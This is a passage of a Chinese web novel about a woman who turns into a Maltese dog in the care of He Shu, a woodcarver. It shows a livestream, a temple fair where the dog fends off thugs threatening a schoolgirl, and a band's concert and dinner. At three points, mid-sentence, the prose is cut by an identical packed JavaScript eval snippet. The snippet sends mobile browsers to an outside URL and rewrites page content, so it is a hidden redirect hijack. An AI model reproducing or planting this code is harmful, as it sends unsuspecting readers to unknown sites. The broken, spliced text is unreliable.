【处理伤口啊，笨蛋，抱着我干什么，快去！】 “汪汪，汪汪汪，汪汪汪汪！” 抱着她要怎么处理伤口，江柚清挣扎着要从何述身上跳下去，可身后的人完全没有起身的意愿，反而把她抱得更紧了。 江柚清：？ 一秒后，她才意识到刚才的行为有点强人所难。让一个听不懂狗语的人去听她的话处理伤口，怎么想都有点异想天开。 江柚清换了种方式，用爪子拍了拍何述手，希望能引起他的注意，然而毫无反应。 没办法，只能上终极绝招了。 江柚清张着嘴，怕细菌感染，尽量远离何述的伤口，牙齿收着力在何述食指指根处轻咬。 细微疼痛从指尖蔓延，何述视线落在还在流血的手指，手一拨把小狗翻了个身。江柚清始料不及，心里惊呼一声。 圆润肚皮大咧咧敞开，下一刻灼热的呼吸喷洒颈侧，引得江柚清浑身战栗，她弓起身子尽量保持点距离，后背却被猛地往前压，何述的鼻尖又近了一寸，几乎贴着皮肉。 面前人自内而外散发的害怕情绪连带着感染她，江柚清完全放弃抵抗，前肢安抚地碰碰他的头，嗷呜了一声希望他赶紧去处理伤口。 埋在小狗颈窝感受到切实的温度，何述激烈跳动的心脏逐渐恢复平静。片刻后，他抱着小狗站起来回了卧室。 紧闭的窗户和窗帘阻隔了外界的光线，卧室门未闭合，浴室流水声稀稀拉拉。江柚清蜷成一团窝在枕头下方，圆溜溜的小眼睛懒懒看向门缝透进来的光，陷入沉思。 模糊的语言，太过知她心意的行为，江柚清不止一次怀疑何述已经知道真相，可很快又陷入了自相矛盾中。 上次她问过何述，但他的表现显然听不懂她的话。况且何述要真知道她是这只小狗，上次在福利院为什么不问，隐瞒的理由又是什么？ 两股想法拧成一个麻花，江柚清头疼到快要炸裂，她实在找不到何述骗她的理由，最终只能将一切归咎于巧合。 网上有句话说的好，这年头想的少点，活的就长点。 如果能改掉间歇性钻牛角尖的毛病，江柚清觉得自己起码能多活二十年。 大脑一放空，疲惫感瞬间涌来。江柚清上下眼皮疯狂打架，睡了过去。 迷迷糊糊中，床垫下陷，有人上床。 很快，极轻的窸窣声响起，江柚清闭着眼往床边艰难地挪窝，给何述留多点地方睡觉。才挪动一下，一只手捞着她的腰就往床中心移。 温热身体靠近，江柚清迷瞪地掀开眼皮，瞅到何述已经包扎好的手指又安心地睡了过去。 * 江柚清是被饿醒的。 她看向天花板，肚子一直咕咕乱叫。往身侧滚了三圈，床还有余温，何述应该起床不久。 饿的有点受不了，江柚清起身下床觅食。 门没关，半掩着。 江柚清身子往右一顶，门缝又开大了些。她慢慢悠悠走出去，客厅空无一人，何述不知道去了哪里。 抬头看了眼钟表时间，时针指向七点。 食物香味传来，江柚清循着味道来到狗狗窝。驻足在饭盆前，里面剩着大半没吃完的狗粮，江柚清哈喇子快流了一地，内心拼命克制住想吃冲动。 三秒过后，江柚清疯狂炫食。 狗就狗吧，万一在何述回来之前她饿死家中怎么办。 天大地大，吃法最大。 遥想第一天变狗，她还信誓旦旦死都不吃。现在，真香。 狗吃狗粮乃是天经地义！ 江柚清两只爪子扒住盆沿，头扎进盆里一门心思酷酷干饭。 “咔哒”一声，门开了。 何述拎着两大兜菜从门外进来，一眼就看到本该在床上睡觉的小狗此刻摇着尾巴开心吃狗粮。他忙放下菜，快步走到小狗面前蹲下，难以置信地问：“柚子，你可以吃狗粮？” 江柚清吃完最后一颗狗粮，从盆里抬头，炯炯有神的小眼睛透着疑惑。 她变人期间不吃狗粮吗？也说不通吧，那不是还剩大半盆吗？ 【可以，还挺好吃的。】 “汪汪汪，汪汪汪！” 没多想，江柚清拍拍狗盆，挺起胸膛示意何述再给她来点。 什么牌子的狗粮，简直让人上瘾。 何述坐在一旁地板上，手肘顶着膝盖支头看小狗。小狗吃的欢脱，他怕她吃的急再噎着，把盛水的小盆拿到小狗面前，抚她的背让她吃慢点。 风卷残云一番后，江柚清心满意足摸了下圆鼓鼓的肚子，迈着拽了吧唧的步伐监督何述吃饭。 刚才吃饭的时候身后一直有道目光盯着她，江柚清不满何述为什么不去吃饭而是在这看她吃饭。他现在太瘦，原本适身的黑色短袖显得空荡荡，两处锁骨凸起，手臂抬起带动锁骨窝凹陷更深。 不能忍受何述不爱惜身体，江柚清发挥监督员的作用，认真卧在何述面前监督他吃完饭，才趁他刷碗工夫在客厅来回逛消食。 客厅角落的一片小空地，三个小架子按类摆放着他们一起逛超市买的各种玩具和衣服。 上次心仪的衣服放在最里面，江柚清心里打起了算盘，圆溜溜小眼睛直转了一圈又一圈。 买的狗粮吃了，买的衣服也不能浪费。秉持着买即用理念，她用爪子勾起衣服往外拉。 何述洗好碗出来在沙发上没找到小狗，正打算去卧室看看，哼唧声断断续续从靠近阳台的架子旁传来。 两三步走近架子，何述低头就看到他的笨笨小狗被裙子罩住，钻来钻去找不到领子。 嘴角不自觉勾起弧度，何述耐心且温柔地按住小狗，把裙子从她头上取下来，重新给她穿好，又用梳子仔细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496323|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打理了下狗狗凌乱的毛毛。 何述动作轻柔，江柚清安安静静任由他摆弄，异常享受。 一切收拾妥帖，何述抱着狗狗去浴室照镜子。 马尔济斯犬本身就很漂亮，何述之前又肯花心思给狗狗洗澡打理，纯白毛毛非常飘柔，再加上这身狗狗裙装扮无疑是狗届最靓的仔。 江柚清站在洗手池台面上来回转圈，满眼欣赏地看着镜子里的自己。 等她欣赏完，下意识回头去问何述。 【何述，我漂亮吗？】 “汪汪，汪汪汪？” 何述掐住小狗前肢肢窝，一把抬起她，满眼宠溺地用额头蹭着狗狗脑门，清冷声线带着点缱绻，“柚子，你是世上最好看的小狗。” 听到何述的夸奖，江柚清有些害羞。它扒拉扒拉何述，将头埋进他的颈窝，不肯看他。 小狗尾巴左右来回摆弄，何述手指穿入尾巴毛之中随着小狗动作打旋。一会儿，小狗被拨弄地连连上拱，整个身体几乎挂在何述身上。 江柚清佯装凶狠看他，何述面色无辜，连连求饶，保证下次再也不会摸她尾巴了。江柚清心软地“汪”了一声，算是同意。 带她出浴室的最后一瞬，男人收回温柔，掀起眼皮冷冷看向镜子里的另一个他。 * 江柚清再次跟着何述来到工作屋，屋里陈设跟她回去之前并无二差，何述抱着她直接坐到工作位上。 工作台上琳琅满目各种工具，这还是江柚清第一次近距离感受。她踩在何述大腿上，整个上身攀在工作台沿，探着头看，蠢蠢欲动。 何述察觉到狗狗对木雕工具感兴趣，十分细致地讲起了各种工具的作用以及用法。 长坪以木雕闻名，全国几乎最好的木雕艺术品都出自这里。小时候江柚清不可避免受到地域文化影响迷恋过一段时间，后来因为各种原因放弃。 在大学江柚清又对它萌生兴趣，跟着找的专业老师学了好几周，搞得双手大大小小都是伤，创可贴粘了又粘，结果最后她还没放弃，老师倒先来了句术业有专攻，不必勉强自己。江柚清哪怕再怎么相信勤能补拙，老师这句话也如同五雷轰顶，彻底断了她的木雕路。 以前偶尔逛个木雕艺术展过过眼瘾，这段时间不论线上还是线下一直看何述雕刻，这才明白学木雕的人想要有极优秀的作品问世，天赋与努力缺一不可。两者少其一，可能都未必能到达顶峰。 可她又不想当木雕艺术家，根本不必有太高要求。江柚清竖起耳朵乖乖当个好学生，认真记下每一种工具。 好老师会让学生受益一生，相对的坏老师只会蹉跎学生热情。任何一种兴趣的学习应该都只有愉悦自己这一个目的。 等一切尘埃落定回归正轨，江柚清打算找个时间重新学习木雕。 手机震动不止，何述从裤兜里掏出手机，屏幕上显示的联系人让他微微不悦。江柚清放下腿，转身面对面仰头看他，不知道发生了什么情况。 顿了半秒，何述接通。焦急声音立马从对面传来，“何述，求求你再救救林家木雕。” 江柚清闻声识人，再度警铃大震。 12. 直播 何述皱了皱眉，问：“怎么了？” “凤杰被车撞了，医生说没什么大碍，静养一个月就好，但比赛还有两周就要结束。”对方哽咽一瞬，刹那间泣不成声，“何述，能不能求求你救救林家木雕，求求你。” 林子觉几近哀求，江柚清用爪子挠头，不知道该说什么。 现如今人气排行榜上，即便与第二名差距小，林凤杰依旧连续三周霸榜第一。如果按照原来计划，有何述的作品打底，只要林凤杰不出差错，几乎百分之九十可以确定林家木雕必得第一。 可突如其来的车祸打乱了节奏，林凤杰显然不可能继续直播，比赛规则又不允许中途换人，这意味着何述要独自承担起后续的所有比赛内容。 现在何述的人气值在100名开外，他不会整活，注定爬榜艰难。 既要高质量完成作品，又要兼顾人气值，江柚清想想就觉得头大。 修长指尖从小狗前臂穿过，何述一手捏住她正在挠头的两个爪子，拇指轻轻揉弄。江柚清顿感爪腹酥麻，小眼睛瞪得像铜铃，想收回爪子却被何述牢牢抓住不放。 何述松开手，不再闹她。思索片刻，他开口：“我知道了，会尽力但不能保证一定可以。” 对面松口气，连声道好。 挂断电话，何述俯身靠近小狗，专注地看她，“陪我直播一会可以吗？” 江柚清拒绝不了，老老实实横趴在何述腿上，避免打扰他。 直播进行中，房间里只有雕刻刀触碰木头的嗤嗤声。从早到晚，除了吃饭等必要事项出门，何述几乎用了所有的时间雕刻，江柚清则神游天外。 直播间人数截止到晚上八点大概有两千人，评论区没多少人聊天。偶尔一两个新人入场，发现这个直播间的主播不露脸不说话，只有一双手在镜头里雕东西，觉得这既不能算科普直播间也不能算学习直播间，于是在评论区留言询问。 【树上猫】：这个是什么直播间？主播就只是雕东西吗？怎么都不说话呀。 有老粉看到出来解答。 【电子拌饭】：主播不爱说话，目前正参加一个比赛，现在在雕的是比赛作品，这算是一个陪伴直播间。 【我是小困宝】：有一说一，主播这手可真好看，去干手模也绰绰有余。 【爱吃肉】：同道姐妹，我也超喜欢主播的手，随便截一张都是美照。 【七十八重奏】：加一，我就是从其他手控盘点视频过来的。 评论区不语，只是一味地送花花。 【披萨拒吃员】：榜一小姐姐草帽兔怎么现在还没来？ 【Sera】：对哦，这都播了快1个小时了，她从来不迟到的，会不会去别的直播间了？ 评论区滚动不停，何述看见不语，只埋头细细雕琢木雕纹路。 一个动作保持了太长时间，哪怕这个姿势很舒服，也经不起长时间坚持。江柚清有点累，她翻了个身，仰躺在何述腿上，全身舒坦。 何述停下手上的动作，左手五指微拢抓了两下狗狗的小肚子，又顺时针揉了两圈，江柚清发出呼噜声，舒服到有点打瞌睡。 【xx】：刚才有没有人听到，好像有狗狗的声音。 【熬夜冠军】：听到了，房间里有狗狗吗？在哪？ 【菜鸡本鸡】：福尔摩鸡上线，主播现在的左手动作显然是撸狗，因此大胆猜测一波，狗在主播腿上。 【追捕发际线】：想看主播的狗狗。 评论区再次滚动起来，加一刷屏。 “没有小狗。”何述撇了眼评论，说了今天直播的第一句话。 还没睡着的江柚清：？什么情况？ 她用肚皮一顶，轻松弹走何述的手，接着从何述腿上站起来，双爪攀着工作台边沿，探头往正前方的手机屏幕看。 可爱的狗狗脸完完全全展示在屏幕里，粉丝倒地一片，纷纷哀嚎主播骗人，想要私藏小狗。 手机屏幕有点小，江柚清后腿垫着何述的大腿往上蹬几下，半个身子拱到了工作台上。奈何腿有点短，剩下半个身子卡在半空。 她回头可怜巴巴地看何述，何述无奈又宠溺地抬着狗狗后腿让她上桌。 小心避开何述的作品和工具，江柚清往屏幕前凑了凑。 【虾仁泡馍】：啊啊啊啊啊，好可爱的小狗。 【锅盖】：救命，萌死我得了，有没有人懂可爱萌物对于爱狗人士的攻击力。 【豆腐焦鱼】：可爱死我了，来，姐姐亲亲。 …… 直播间粉丝超级热情，评论看都看不完。以前还需要她带着活跃气氛，现在完全不需要。 江柚清看着不断飙升的人气，脑中蹦出一个大胆想法。 既然喜欢萌宠有这么多人，那么是不是只要在镜头前她多跟观众互动，就会有越来越多的人进入直播间。工作台那么大，她只需要占一点地方就行。这样既不会耽误何述工作，又能带动人气，简直一举两得。 有想法要赶紧试水，江柚清试探着朝屏幕挥挥爪子，花花立刻铺满评论区。她又试着按照网友的要求做了几个动作，直播在线人数不断飙升。 【不会游泳的鸭子】：好聪明的狗狗，感觉它能看懂汉字，我能拥有它吗？ 【苏卡喵】：这你要问主播，不过主播好像不见了。[哭笑] 【说一是三】：主播不在正好，有没有人跟我一起今晚组团偷狗？ 评论区纷纷举手。 聪明可爱的狗狗谁能不爱。经过自来水的快速宣传，几分钟的工夫，大量路人涌入直播间。 偷狗？ 何述压下眼底的不喜，手肘支在椅子扶手上，视线跟随小狗动作移动。 观众越来越多，觉察办法有效，江柚清高兴极了，对评论区的要求几乎有求必应。但是狗狗身体的精力毕竟有限，耐不住一直表演，江柚清的精气神急剧枯竭。 最后一个，江柚清浏览评论，决定满足今天最后一个幸运观众就休息。 【九天月】：没人喜欢狗狗身上的裙子吗？超级好看。 想看小裙子？没问题。 江柚清左扭右扭展示身上这件衣服，简直是当代狗狗模特。 怕观众看不清楚，江柚清转个圈来了个360°全方位展示。头还没转回去，两只大手掐住她的腰直接把她提溜起来。 江柚清还没来得及反应就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496324|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被何述抱到怀里，消失在屏幕前，留下评论区一脸懵逼。 “不好意思各位，今天直播就到这里。”何述边理平狗狗起皱的小裙子，边礼貌道歉，“感谢大家喜欢我的小狗，明天有事外出，晚上再播，谢谢。” 直播间瞬间黑屏，粉丝和路人又一脸懵逼。 吃饭、洗澡、关灯上床睡觉。 江柚清被照顾的脚不沾地，心里猛夸一顿何述后躺在床上闭眼睡觉。 “谢谢柚子，今天辛苦你了。明天是火神庙庙会，你想去吗？” 庙会？！ 江柚清睁开眼，她怎么把这件事给忘了。 火神庙会是一年一度的长坪盛会，为期三天，非常热闹。小时候听老人说本来庙会是放在三月，可不知道什么原因直接推迟到了八月。恰逢假期，有些外地人甚至不远万里过来游玩，只为赶这场庙会。 她从人魂穿变狗已经无法用常理解释，或许去火神庙拜拜神仙说不定能给她拜回来，江柚清想也不想答应了。 【好。】 “汪！” 时间悄摸摸溜走，身侧轻微呼吸声起伏。江柚清睁眼又闭眼，不知道为什么睡不着，明明她现在很困。 难道是姿势不对？江柚清滚了两圈隔着被子几乎撞进了何述怀里。闻着何述身上浅淡的柚子味，她的意识渐渐模糊。 临睡前，江柚清心里嘀咕，这同床共枕养成的坏习惯一定要改掉，千万不要狗传人，不然她会完犊子。 * 天刚亮，大大小小的摊位沿着火神庙前的柏油路沿依次排开，准备迎客。 射枪的、扎飞镖的、套圈的、做糖人，卷棉花糖，卖衣服，卖小吃……吃的喝的玩的用的，应有尽有。九点刚过，人流拥挤，摩肩接踵。 庙前搭了个戏台，请的是当地的老戏班子，在庙会上已经演了二十多年。台上演员咿咿呀呀唱着戏，引得台下观众阵阵喝彩。 何述摊位的位置有点偏，但靠近火神庙。江柚清窝在何述旁边的椅子上，视线能穿过坐着的看戏观众看到台上的表演。熟悉的唱腔、熟悉的模样，一如往昔。 一曲唱罢，江柚清收回目光，转头看了眼自家摊位已经卖的七七八八，心里感叹果真酒香不怕巷子深。 摊前，一个年轻的女孩付完钱没走，眨巴眨巴水灵灵的眼睛，纠结半天说不出话，同行的短发女孩看不过去替她说：“老板，我朋友特别喜欢小狗，你家小狗特可爱，她可以抱一下吗？” 闻言，何述停下雕刻木牌的动作，摇摇头表示拒绝。女孩肉眼可见变得低落，嘴上却说没事，拉同伴离开。 江柚清觉得何述不会做老板，不明白顾客是上帝。好的商品质量和优质服务能带动顾客源源不断地到来，这道理她没做过生意的都知道。 “啪叽”，江柚清伸出爪子拍了一下何述的胳膊，何述放下东西，倾身垂眸看她。 人狗对视，此时无声胜有声。 何述缴械投降，揉揉狗狗头，双手把她从椅子上抱到怀里，扬声冲刚走两步的女孩喊道：“同学，我家小狗想让你抱抱，你还抱吗？” 女孩脚步一停，立马转个弯，眼角弯成月牙，“抱！” 13. 保护 逗小狗逗了很久，女孩挥手冲小狗说再见，恋恋不舍赶下个地方。 何述把小狗面对面放在腿上，轻轻捏住她的小脸，“已经让她抱了，不要不开心。” 头靠得太近，江柚清甚至能透过何述的眼看清自己。心脏跳的厉害，温热呼吸喷洒在脸上，她不自觉缩了缩脖子，佯装镇定。 “喜欢这个吗？”何述单手圈住小狗，从桌子上拿起一个小木牌放到她的面前，“余亮上次说别人家的小猫小狗都有自己的小铭牌，我家柚子也不能少。” 木牌不大，周边打磨的光滑，顶端有一个圆孔，系着一根红绳。木牌正面有几行字，第一行是她的名字，第二行是何述的手机号，第三行是地址。 最下面还有个卡通的小狗和小人，江柚清记得这是在福利院她给何述画的，没想到兜兜转转又给了她。 很精致，很好看，江柚清很喜欢，爪子捧起小木牌爱不释手。 【喜欢。】 “汪汪！” “喜欢就好。”何述抽出小木牌戴在小狗脖颈上，捧起她的脸，“这样每个人都会知道你属于我。” 江柚清心跳错乱，一脸蒙圈，真的会有人这样对自家宠物说话吗？ 下午五点，两个小朋友气喘吁吁地跑过来，站在摊前齐声喊何述哥哥，何述笑着朝他们打招呼。 女孩看见小狗，眼里闪着兴奋的光，“何述哥哥，这是你的小狗吗？” 何述点点头。 “那我可以跟它玩一会吗？就一小会。” 当然可以！江柚清摩拳擦掌，只差何述点头。 何述低头看小狗，见她急不可耐想要出去玩，默默将小木牌摆正。 “可以，但不能离太远，就在这后面的树下吧，凉快。” “好，谢谢哥哥。”女孩从摊位间穿到后面，弯腰抱小狗，江柚清顺从地伸手要她抱。 “有事一定大声喊我。”上次走丢的阴影还让他心有余悸，何述不放心又嘱托一遍。 “记住了。” 很快，树荫下一个女孩和一只小狗玩得不亦乐乎。 树旁有个小沙坑，沙子细软，江柚清躺在沙子里自学沙泳，女孩在她旁边堆小山。视线偶尔瞥向摊位，只见和女孩一起来的男孩坐在何述对面，认真看他雕刻，时不时问些什么。 没过一会，江柚清站起来，抖掉身上的沙子。中午吃饭的时候，余亮给何述打电话，要何述明天下午带她去新泉广场看他乐队的表演，何述答应了。 明天肯定不来庙会了，后天来不来还不一定。本来还以为何述今天会进庙拜拜，她顺道也偷偷拜拜，结果一直等到现在，看样子何述八成不会去了。 如果后面两天都不来，她进火神庙拜神仙就剩下关门前的最后半小时。 离得近，速去速回的话，应该要不了多长时间。 江柚清趁女孩忙着堆沙子，呲溜一下跑到火神庙里，避着来往行人，直奔主殿。 神像庄严肃穆，江柚清趁没人，四肢弯曲，头抵地，虔诚跪拜。 【火神爷爷，不知道为什么这段时间自己会时而变人，时而变狗，我暂时还没找到规律，也不知道变狗的原因。现在倒没事，但后面我还有一堆事情要做，如果总变的话，我的生活会被打乱的。火神爷爷，求求你让我变回去不要再变回来了。求求了。】 身后喧哗声由远及近，江柚清猛地站起来，迅速跑出去。 刚回到沙坑，女孩却消失不见了。江柚清围着树找了两圈没发现人，又瞅到男孩还坐在何述对面，心下一惊，顿感不好。 江柚清脚步一拐，准备告诉何述这个消息，却蓦然看见火神庙靠近庙后的地方，两个熟悉的身影堵在一个小孩前，越来越近。 是他俩？上次她就险些被他们抓住卖掉，没想到这次竟然敢在光天化日下打小朋友的主意。 瞅了一眼与何述的距离，又瞅了一眼与那俩人的距离。顾不得其他，江柚清只能先冲何述大声叫几下希望引起他的注意，然后快速朝那两人冲去。 “你是不是程问的女儿。”瘦子贱兮兮地掐住女孩的下巴，迫使她抬头，“你爸欠了我们三十万，现在都没还。你妈早死了，现在你爸又跑了，中国有句话古话叫做父债子偿，这钱就该你来还。” 女孩拼命忍住眼泪，强硬地看他，“我没钱，你要钱你找他，不要找我。” “没钱？没钱就好办多了。”瘦子眼珠子一转，计上心头，“现在初中应该有不少人退学吧，要不你退学去哥哥那边的KTV当服务员怎么样？一年也能挣好几万，不用多少年就能还清。” “这主意不错。”胖子应和，“妹妹，要不你考虑一下？” “你休想。”女孩使劲掰扯掐住她的手，可是徒劳无功。她眼里蓄满泪水，仿若一只引颈就戮的白鹤，“威胁未成年，警察叔叔不会饶过你的。” 瘦子听完哈哈大笑，手指挑逗般抚上女孩脸颊，突然力道加重，“小朋友，你这笑话可不好笑，还是乖乖跟我们回去KTV。” 回你大爷！ 江柚清一个助推起跳，狠狠咬在瘦子胳膊上。尖利的犬牙渗进肉里，血液小范围外流。 卖狗又欺负学生，罪不可赦。马尔济斯犬的咬合力度虽然不如大型犬，但她依旧使出吃奶的劲，势必要咬掉那块肉。 瘦子吃痛嗷嗷大叫，要把小狗甩掉，江柚清死活不松口。 女孩胡乱抹掉眼泪，感激地看了小狗一眼，慌忙朝外跑去。 胖子顾不得跑走的女孩，伸手去拽狗。江柚清快速变化位置，又一口咬在瘦子腿上。 叫你揩油，叫你威胁小朋友，咬你，就咬你。江柚清发狠，牙齿下陷更深。 “我艹。”瘦子尖叫踢腿，“黑熊，你看什么，快抓住它啊，疼死我了。” “你别动啊，你动我抓不住它。”胖子一个扫腿，直接踢到瘦子小腿肚上。 力度太大，瘦子一个趔趄后脑勺直邦邦磕在地上，江柚清身量轻也被顺带踢飞。 “我艹你妈。”瘦子缓了一会，破口大骂，“艹，我让你抓狗，你踢我干什么。狗呢？” “那儿。” 瘦子顺着胖子手指的方向看过去，咬牙切齿站起来，凶狠道：“上次老子进局子也有你一份功吧，这次又来打扰我的好事，看我这次不把你捉了卖到狗肉馆里。” “不行，麻杆。”胖子想起那天晚上，后背有点发怵，立马拒绝，“那个人要是知道了，我们都要玩完。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496325|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你就这点出息，”瘦子随便在地上找到根手腕粗的木棍，缓步上前，“这次天王老子来了也保不了这个小畜生。” 江柚清爪子抓地，警惕看向前方。何述还没来，单打独斗胜算太低，只能背水一战。 “你们想对我的狗干什么？” 清冷声音响起瞬间，胖子和瘦子脚步顿住，呆愣原地，江柚清眼睛一亮，穿过夹缝朝清瘦人影飞奔。 何述单膝半蹲，张开手，稳稳接过朝他跑来的小狗。他抱着狗站起身，眼皮一掀，半笑不笑地看向僵住的两个人，礼貌地打了个招呼，“两位，好久不见。” 瘦子和胖子彼此对视一眼，踉跄后退几步。 “弟弟，这都是误会。”瘦子立刻换了副面孔，两只手作投降状，赔笑道歉，完全不复刚才的趾高气昂。 “误会？”何述嗤笑，“你们跟警察说吧。” 脚步声四处传来，很快火神庙后围了一堆人。 “警察叔叔，就是他们。”女孩指着面前两个人，对维护庙会安全的警察说，“刚才就是他们威胁我，还打哥哥的狗。” 坏人被带走，两个小朋友道谢后结伴回家。 一切恢复平静，江柚清的神经陡然放松。身心俱疲，她撒娇似地赖在何述怀里不愿起身。 何述惯着她，抱着没让她沾地。收好摊又连忙跑了宠物医院给她做了个全身检查，确定没有什么问题才放心回家。 “以后遇到危险绝对不能擅自行动，一定要告诉我，知道吗？” “要是万一我没有及时赶过去，你出什么事该怎么办。”何述握住小狗的前肢，额头埋在小狗肩膀上，声音混着一丝不易察觉的颤抖，“我真的怕，柚子，我害怕。” “别冲动，可以吗？” 江柚清不知道该怎么安慰他，只能歪头蹭蹭何述算是答应他。 要是自己是人就好了，她有自保的能力，何述也不用这么害怕。 * 第二天下午，何述带着小狗准时到达新泉广场，余亮赶过来接他俩。 “wow，柚子今天这身真漂亮，特别是这个小辫，”余亮弹了下小狗头上的小揪揪，夸赞道，“简直天狗下凡。” 江柚清很受用，毕竟这身衣服还有发型，何述可是给她搞了好半天才弄好。出门前，她还特地照了镜子，非常好看。 见余亮还没发现亮点，江柚清超绝不经意地露出胸口的小木牌。 余亮眼神好，一下子注意并get到小狗的意思，丝毫不做作地再次哇偶了一声，“我的天，好精致的小木牌，柚子这一身要美死哪家的狗！” 被夸的飘飘然，江柚清趴在何述胳膊上摇尾巴。 余亮疯狂心动，他一把揽住何述的肩膀，低声打商量，“何述，我前几天也托人买了一条马尔济斯犬，公的。你看咱俩是兄弟，那咱俩的狗也就是青梅竹马，所以考不考虑订个狗狗亲？让他俩生个小小柚子。” 怕何述不放心，余亮拍胸脯打包票，“你放心，我绝对替我家狗负责，等柚子生了我肯定会好好照顾小小柚子的。” 胳膊有丝疼，何述安抚地摸摸小狗后背，继而偏头挑眉看余亮，双唇轻启缓缓吐出两个字。 “休想。” 14. 醉酒 手肘一顶，何述抖掉余亮的胳膊，大步流星往广场搭建的舞台走，剩下余亮在后面追他。 “何述，你别急着拒绝，我家那只也超可爱，你还没见过呢，要不你考虑一下先让他俩处处对象呢？” “不处。” “行，不处，那做朋友呢？你看柚子一只狗也挺孤独的，它俩如果变成朋友还能有个伴一起玩。” 江柚清爪子举起正想拍拍何述手腕拒绝，脑子一转突然意识到现在是她在替小狗做决定，而不是小狗在做决定。 路不能堵死，万一小狗想要朋友呢？江柚清想想，犹豫一下点头同意。 何述见小狗点头，站定回头，“可以。” “好勒，下次你带柚子去我家。”余亮扬起一抹笑，快步上前。 新泉广场位于黔河以南的经济开发区，是长坪近几年才建成的广场。去年五月凭借《漫游嘉年华》活动迅速在网络走红，带动一波广场经济。吃到红利后，主办方隔三差五就会举办一些二次元活动、舞台表演等，目标受众很明确就是年轻群体。 即便这几天逢火神庙会，可这里的人依旧超级多。不管是不是coser，来来往往每个人都打扮的很精致。 被何述抱着穿行其中，江柚清有一种很奇妙的感觉。以前她总是忙着画画，一部接一部，几乎没有参加过这种活动，不免好奇地左右看。 “今天这边有活动，很多喜欢二次元的都来了。东侧那边是他们请的比较有名的coser，现在大部分人都去那边了。”余亮边说边引着何述来到广场西侧搭建的舞台前，“我们这边是五点半到六点，还有时间，我看柚子对那些二次元挺有兴趣的，你们可以先逛逛。” “亮哥，你来看看话筒，它不出声了。”一个长发女孩从架子鼓后面探头，举着鼓槌朝余亮大喊。 “OK，这就来。”余亮逗了一下小狗，又拍拍何述胳膊，“我先过去了，待会见。” 话刚落地，人一溜烟跑了。何述见怪不怪，抱着狗朝人群聚集的地方走。 整个广场，只有何述抱着狗，还总往人群最多的地方挤，有时候还带着狗狗跟coser老师合影，很快成为小范围的焦点。 马尔济斯犬实在太过可爱漂亮，大家纷纷想摸一摸。江柚清来者不拒，随便让她们摸，还伸出爪子跟她们互动。 将近两三个小时，江柚清几乎逛遍了所有摊位，玩得非常痛快。 临近余亮舞台表演时间，何述抱着小狗跟随人流朝广场西侧走。江柚清发现他没有去舞台前面抢个好位置，反而走向舞台后方。 人群聚集舞台前方，后面几乎没什么人。一张桌子，几把椅子，有点简陋。 余亮靠在其中一把椅子上，一动不动盯着桌上的半瓶水，不知道在想什么。 感伤的状态让江柚清疑惑，刚才不还好好的，这是怎么了？找不到答案，她只能扭头看何述。何述摸摸她的头，没多说什么，只是把水往余亮面前推了推，“准备好了吗？” “啊，你们回来了。”余亮回神，快速从情绪中抽离。他拿起水站起来，往日半吊子模样上身，“那还用说，这次必将惊艳观众。” “你们先去前面，我们马上就开始。”余亮伸出手，雄赳赳，气昂昂地放到小狗面前，“柚子，最后问借你点好运，givemeafive！” 江柚清眨眨眼，伸出爪子拍拍他的手。 【加油！】 “汪汪！” 回到舞台前面，乌泱泱都是人，前排全占了。避免挤着小狗，何述挑了一个有点偏，但依旧能看清舞台的地方。 “砰！” 架子鼓破空响起，台下立刻安静。台上，灯光闪烁，主唱、鼓手、吉他手和贝斯手各司其位。 “咚！咚！咚！” 音乐节奏随着击打声展开，余亮干净透亮的声线透过话筒传入每个观众耳朵里。 没想到余亮平时一副插科打诨，混不吝的模样，一本正经唱起歌来身上好像自带光，能吸引所有人注视他。江柚清闭上眼，攀住何述的胳膊，头随着节拍轻轻摇晃。 小狗已经完全沉浸在音乐里，何述低头用下巴蹭蹭小狗的头顶，转而抬头越过攒动的人群望向舞台中央。 四个年轻人默契地配合着，肆意享受音乐。在只此一次的青春里，所有人都在闪闪发光。 表演结束，乐队成员准备聚餐，何述与他们熟识多年也受到邀请。 酒过三巡，五个人倒了两个，还有一个半倒不倒。 “述哥、亮哥，来，再干一杯。”鼓手岁禾举着还剩半杯的白酒，摇摇晃晃站起来。 白酒怼到何述面前，何述酒量不行，默不作声用啤酒换掉递过来的白酒，站起来举杯回敬。余亮调笑东摇西晃的岁禾喝不了硬喝，被岁禾瞪了一眼不敢再说话。 挨个碰了一下，岁禾不管他们喝不喝，独自一饮而尽。喝完，她没坐下，双手撑在桌子上，低着头不说话。 